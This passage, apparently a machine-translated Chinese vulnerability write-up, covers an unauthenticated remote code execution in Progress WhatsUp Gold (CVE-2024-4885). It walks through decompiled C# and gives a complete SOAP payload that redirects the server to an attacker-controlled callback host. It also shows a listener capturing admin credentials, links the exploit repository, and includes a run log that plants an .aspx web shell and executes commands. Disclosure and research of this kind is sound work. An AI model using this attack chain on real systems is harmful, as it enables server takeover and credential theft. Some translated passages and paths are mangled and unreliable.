谜题已经开始显现,鹰眼会想,我们如何控制路径以及如何控制字典成员,我们能利用
rr.Name
属性吗?那么字典成员呢,我们需要研究吗
getReport
?第一个问题的答案是,progress 的开发人员试图变得聪明,他们
rr.Name
用一个调用包装了属性,
this.ValidName
而没有让你厌烦它的细节,它是为了防止路径遍历,通过确保文件名不包含无效字符,例如但
. / : etc
他们忘记了这
folder
部分,那部分没有任何验证,所以如果给定的
folder
是类似的东西
C:\controlled-path
,那么生成的路径将是
C:\controlled-path\Data\ExportedReports\SAFE_2024-00-00_00-00-00.aspx
等等,这个是
.aspx
从哪里来的?好问题,你看到
text
第 39 行使用的这个是从哪里来的,
this.getReport
现在让我们看看这个方法,如果我们可以影响它的返回值(它是一个字典)和传递的引用参数(这将
out text
是扩展),我们就可以实现一个写入什么位置的原语,从而产生 RCE
1: public string GetFileWithoutZip(string json, string folder, bool preview, EntityRecurringReport rr)
2: {
3: folder = Path.Combine(folder, "Data\ExportedReports\");
4: this.CleanupFiles(folder);
5: if (!Directory.Exists(folder))
6: {
7: Directory.CreateDirectory(folder);
8: }
9: string text;
10: string text2;
11: Dictionary<string, string> report = this.getReport(json, out text, out text2);
12: if (report.ContainsKey("exception"))
13: {
14: throw new Exception(report["exception"]);
15: }
16: if (!report.Any<KeyValuePair<string, string>>())
17: {
18: throw new Exception("No files were generated");
19: }
20: if (preview)
21: {
22: text = "html";
23: }
24: StringBuilder stringBuilder = new StringBuilder();
25: string text4;
26: if (rr.ExportOptions.ExportType != "xml")
27: {
28: foreach (KeyValuePair<string, string> keyValuePair in report)
29: {
30: stringBuilder.Append(keyValuePair.Value);
31: stringBuilder.Append(Environment.NewLine);
32: }
33: string text3 = string.Concat(new string[]
34: {
35: this.ValidName(rr.Name),
36: "_",
37: DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"),
38: ".",
39: text
40: });
41: text4 = Path.Combine(folder, text3);
42: File.WriteAllText(text4, stringBuilder.ToString());
43: }
44: else
45: {
46: string text5 = report.Values.First<string>();
47: string text6 = "";
48: report.Remove(report.Keys.First<string>());
49: foreach (KeyValuePair<string, string> keyValuePair2 in report)
50: {
51: string value = keyValuePair2.Value;
52: XmlDocument xmlDocument = new XmlDocument();
53: xmlDocument.LoadXml(value);
54: string outerXml = xmlDocument.GetElementsByTagName("Table")[0].OuterXml;
55: text6 = text6 + Environment.NewLine + outerXml;
56: }
57: text5 = text5.Replace("</Table>", "</Table>" + Environment.NewLine + text6);
58: stringBuilder.Append(text5);
59: string text7 = string.Concat(new string[]
60: {
61: this.ValidName(rr.Name),
62: "_",
63: DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss"),
64: ".",
65: text
66: });
67: text4 = Path.Combine(folder, text7);
68: File.WriteAllText(text4, stringBuilder.ToString());
69: }
70: return text4;
71: }
当
WhatsUp.ExportUtilities.Export.getReport
调用时,会传递 3 个参数,
json
变量包含提供的 json 配置设置,这在这里非常重要,另外两个是
out string extension
只是通过引用传递的两个变量。
第 (3) 行将反序列化 json 对象并将其存储在名为 的变量中,
jobject
该变量的类型为,然后执行
JObject
一个子句,该子句将首先实例化一个实例,并将该对象分配给名为`
using` `new HttpClient()` `
httpClient`
接下来,在第 (9) 行,代码将从baseUrl先前反序列化的 json 配置 blob 中提取密钥,并分配完全在我们的控制之下的对象BaseAddress的属性httpClient,现在基本 url 已设置,在第 (12) 行启动一个有趣的调用,WebUserConfig.Get它将使用传递userId来自我们控制jobject变量的成员并通过引用传递两个变量,这是一个很酷的函数,给定一个userId它将检索您喜欢的任何用户的用户名和密码 ^_^ 并且如前所述,userId完全在我们的控制之下,用户名放在empty变量中,密码放在变量中,empty2人们可能会说这是一种很棒的变量命名方式
一旦 httpClient 准备就绪,就会在第 (14) 行GET发送一个请求,通过调用来验证远程服务器是否接受所提供的凭据
GetStringAsync(text).GetAwaiter().GetResult()
,之后在第 (15) 行将 uri 路径更改为,并通过提供方法和变量来
api/core/render
实例化`
HttpRequestMessage` `
PUT
` `
text` `
api/core/render`
接下来,在第 (19) 行调用异步调用来检索结果,一旦请求完成,就会获取结果并将其放置在
result2
第 (21) 行的变量中
因为我们可以控制这个请求的去向,我们可以将它指向我们的恶意服务器并返回一个中毒的响应,然后使用结果填充第 (24) 行的字典并将其返回给调用者,同样在第 (23) 行,我们会注意到
extension
也使用
jobject
名为的成员填充了该字典
renderType
,它也在我们的控制之下,这回答了
aspx
之前的问题
最后,在第 (26) 行,将中毒信息
dictionary
返回给调用者
现在我们知道了,我们可以让该
getReport
函数向我们的恶意服务器发送 HTTP 请求,以检索中毒响应,该响应的内容将用作文件的内容,扩展名也可以通过
jobject
名为
renderType
的成员进行控制
注意:你可能已经注意到在第 (13) 行构造的路径将包含
whatsup
gold
管理员帐户的用户名和密码,虽然它看起来很酷,但在这里会产生第三个影响(来自调用者的文件写入、此处的 SSRF、潜在的 cred 泄漏等)你最好忘掉 cred 泄漏(或者你应该忘掉它吗?)因为密码是使用密钥加密的,而该密钥对于产品的每个安装实例都是唯一的(嘘,也许还有很长的路要走 ^_^)
1: private Dictionary<string, string> getReport(string json, out string extension, out string title)
2: {
3: JObject jobject = JsonConvert.DeserializeObject<JObject>(json);
4: Dictionary<string, string> dictionary;
5: using (HttpClient httpClient = new HttpClient())
6: {
7: httpClient.DefaultRequestHeaders.Clear();
8: httpClient.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json"));
9: httpClient.BaseAddress = new Uri((string)jobject["baseUrl"]);
10: string empty = string.Empty;
11: string empty2 = string.Empty;
12: WebUserConfig.Get((int)jobject["userId"], ref empty, ref empty2);
13: string text = string.Format("Session/Login/?sUsername={0}&sPassword={1}", empty, empty2);
14: httpClient.GetStringAsync(text).GetAwaiter().GetResult();
15: text = "api/core/render";
16: HttpRequestMessage httpRequestMessage = new HttpRequestMessage(HttpMethod.Put, text);
17: StringContent stringContent = new StringContent(json, Encoding.UTF8, "application/json");
18: httpRequestMessage.Content = stringContent;
19: HttpResponseMessage result = httpClient.SendAsync(httpRequestMessage).GetAwaiter().GetResult();
20: result.EnsureSuccessStatusCode();
21: string result2 = result.Content.ReadAsStringAsync().GetAwaiter().GetResult();
22: title = (string)jobject["title"];
23: extension = (string)jobject["renderType"];
24: dictionary = JsonConvert.DeserializeObject<Dictionary<string, string>>(result2);
25: }
26: return dictionary;
27: }
现在我们需要的是制作符合
rr
变量结构的正确类型的请求
WUGDataAccess.RecurringReports.DataContracts.EntityRecurringReport
,该类型的请求可以如下所示
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<TestRecurringReport xmlns="http://tempuri.org/">
<rr xmlns:a="http://schemas.datacontract.org/2004/07/WUGDataAccess.RecurringReports.DataContracts"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<a:AlternateHost i:nil="true" />
<a:Disabled>false</a:Disabled>
<a:EmailSettings xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts">
<b:Authentication>None</b:Authentication>
<b:CredentialsId i:nil="true" />
<b:DirectoryPath>C:PROGRA~2IpswitchWhatsUpDataScheduledReports</b:DirectoryPath>
<b:Password />
<b:Port>25</b:Port>
<b:SMTPServer />
<b:SendFrom>[email protected]</b:SendFrom>
<b:SendTo i:nil="true" />
<b:Subject>Emailing: Wireless Log</b:Subject>
<b:TimeoutSec>30</b:TimeoutSec>
<b:UseEncryptedConn>false</b:UseEncryptedConn>
<b:Username />
</a:EmailSettings>
<a:ExportOptions>
<a:AuthorName>WhatsUp Gold</a:AuthorName>
<a:AutosizePDFPage>true</a:AutosizePDFPage>
<a:AvoidImageBreak>false</a:AvoidImageBreak>
<a:AvoidTextBreak>true</a:AvoidTextBreak>
<a:BrowserPageHeight>0</a:BrowserPageHeight>
<a:BrowserPageWidth>0</a:BrowserPageWidth>
<a:ConversionDelay>3</a:ConversionDelay>
<a:CustomPageHeight>0</a:CustomPageHeight>
<a:CustomPageWidth>0</a:CustomPageWidth>
<a:ExportAuthToken />
<a:ExportType>html</a:ExportType>
<a:FitHeight>false</a:FitHeight>
<a:FitWidth>false</a:FitWidth>
<a:InternalLinksEnabled>false</a:InternalLinksEnabled>
<a:LiveURLsEnabled>false</a:LiveURLsEnabled>
<a:NavigationTimeout>240</a:NavigationTimeout>
<a:PageOrientation>Portrait</a:PageOrientation>
<a:PageSize>Letter</a:PageSize>
<a:PdfMessage>html</a:PdfMessage>
<a:PreviewEnabled>false</a:PreviewEnabled>
<a:Subject i:nil="true" />
<a:TimeFormat>g:i:s a</a:TimeFormat>
<a:Title i:nil="true" />
<a:ToMail>true</a:ToMail>
<a:WebExportDirectory>C:Program Files (x86)IpswitchWhatsUphtmlNmConsole</a:WebExportDirectory>
<a:ZipEnabled>false</a:ZipEnabled>
</a:ExportOptions>
<a:IncludeURLInEmail>false</a:IncludeURLInEmail>
<a:Name>webshell</a:Name>
<a:NextRun i:nil="true" />
<a:RecurringReportID>-1</a:RecurringReportID>
<a:Schedule xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts">
<b:DailyDays>1</b:DailyDays>
<b:DailyOptions>Interval</b:DailyOptions>
<b:DaysOfTheWeek xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
<c:boolean>true</c:boolean>
</b:DaysOfTheWeek>
<b:MonthlyDayMonths>1</b:MonthlyDayMonths>
<b:MonthlyDayNumber>3</b:MonthlyDayNumber>
<b:MonthlyOptions>DayOfMonth</b:MonthlyOptions>
<b:MonthlyRecur>First</b:MonthlyRecur>
<b:MonthlyRecurDay>Sunday</b:MonthlyRecurDay>
<b:MonthlyRecurMonths>1</b:MonthlyRecurMonths>
<b:RecurringInterval>1</b:RecurringInterval>
<b:RecurringTimeIntervals>Minutes</b:RecurringTimeIntervals>
<b:ScheduleType>TimeInterval</b:ScheduleType>
<b:StartTime>2024-07-05T16:59:14.047957+01:00</b:StartTime>
<b:TimeIntervalStartDate>2024-07-05T16:59:14.047957+01:00</b:TimeIntervalStartDate>
<b:WeeklyWeeks>1</b:WeeklyWeeks>
<b:YearlyDayOfMonth>3</b:YearlyDayOfMonth>
<b:YearlyMonthRecur>First</b:YearlyMonthRecur>
<b:YearlyMonthRecurDay>Sunday</b:YearlyMonthRecurDay>
<b:YearlyMonths>March</b:YearlyMonths>
<b:YearlyOptions>DayOfYear</b:YearlyOptions>
<b:YearlyRecurMonth>March</b:YearlyRecurMonth>
</a:Schedule>
<a:URL>
{"title":"foo","renderType":"aspx","reports":[{"title":"thetitle","url":"/NmConsole/api/Wireless/ReportWirelessLog","dateRangeFilter":{"label":"Date
Range","n":0,"range":"Today","text":"Today"},"severityFilter":{"label":"Severity","value":-1,"text":"ALL"},"limit":50,"grid":{"emptyText":"[
No records found
]","columns":[{"dataIndex":"Date","text":"Date","flex":1},{"dataIndex":"Severity","text":"Severity","flex":1},{"dataIndex":"Message","text":"Message","flex":1}],"filters":[],"sorters":[]}}],"baseUrl":"http://192.168.0.181:1337/","userId":1}
</a:URL>
<a:WebUserID>1</a:WebUserID>
<a:WebUserName>admin</a:WebUserName>
</rr>
</TestRecurringReport>
</s:Body>
</s:Envelope>
运行一个简单的监听器,你会收到以下请求
ncat -lvvnp 1337
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 192.168.0.231:4605.
GET /Session/Login/?sUsername=admin&sPassword=223,255,226,50,2,247,71,87,99 HTTP/1.1
Accept: application/json
Host: 192.168.0.181:1337
Connection: Keep-Alive
现在构建一个恶意服务器很容易,如果操作正确,你会得到:
事情是这样的:
你可以在以下github 存储库中找到该漏洞
https://github.com/sinsinology/CVE-2024-4885
python3 CVE-2024-4885.py -t http://192.168.0.231:9642 -s 192.168.0.181:1337 -f hax.aspx
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | | | | | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | _| __|__ | _| |_____| . | |______ | | | | |
(*) Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution (CVE-2024-4885)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
(*) Technical details: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/
(^_^) Prepare for the Pwnage (^_^)
(+) Sending payload to http://192.168.0.231:9642/NmConsole/ReportService.asmx
(*) Callback server listening on http://192.168.0.181:1337
(+) Payload sent successfully
(*) Checking if target is using HTTPS or HTTP https://192.168.0.231/NmConsole/
exploit done!
(*) Target host: https://192.168.0.231
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-24.aspx
(+) Callback received
192.168.0.231 - - [06/Jul/2024 23:31:30] "GET /Session/Login/?sUsername=admin&sPassword=3,0,0,0,16,0,0,0 HTTP/1.1" 200 -
192.168.0.231 - - [06/Jul/2024 23:31:30] "PUT /api/core/render HTTP/1.1" 200 -
(*) Waiting 180s for the RecurringReport task to land...
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-25.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-26.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-27.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-28.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-29.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-30.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-31.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-32.aspx
(*) spraying... https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-33.aspx
(+) Web shell found at -> https://192.168.0.231/NmConsole/Data/ExportedReports/a70d6fde3f82e3b9_2024-07-06_23-31-33.aspx
Shell> net user
User accounts for \
-------------------------------------------------------------------------------
Administrator debugger DefaultAccount
Guest WDAGUtilityAccount
The command completed with one or more errors.
Shell>
零日攻击计划
如果不是因为零日计划(Zero Day Initiative) 拥有一支才华横溢的团队,我根本不会费心研究进展,向所有在那里工作以使互联网更安全的人致敬。
https://github.com/sinsinology/CVE-2024-4885
https://www.zerodayinitiative.com/advisories/ZDI-24-893/
https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-June-2024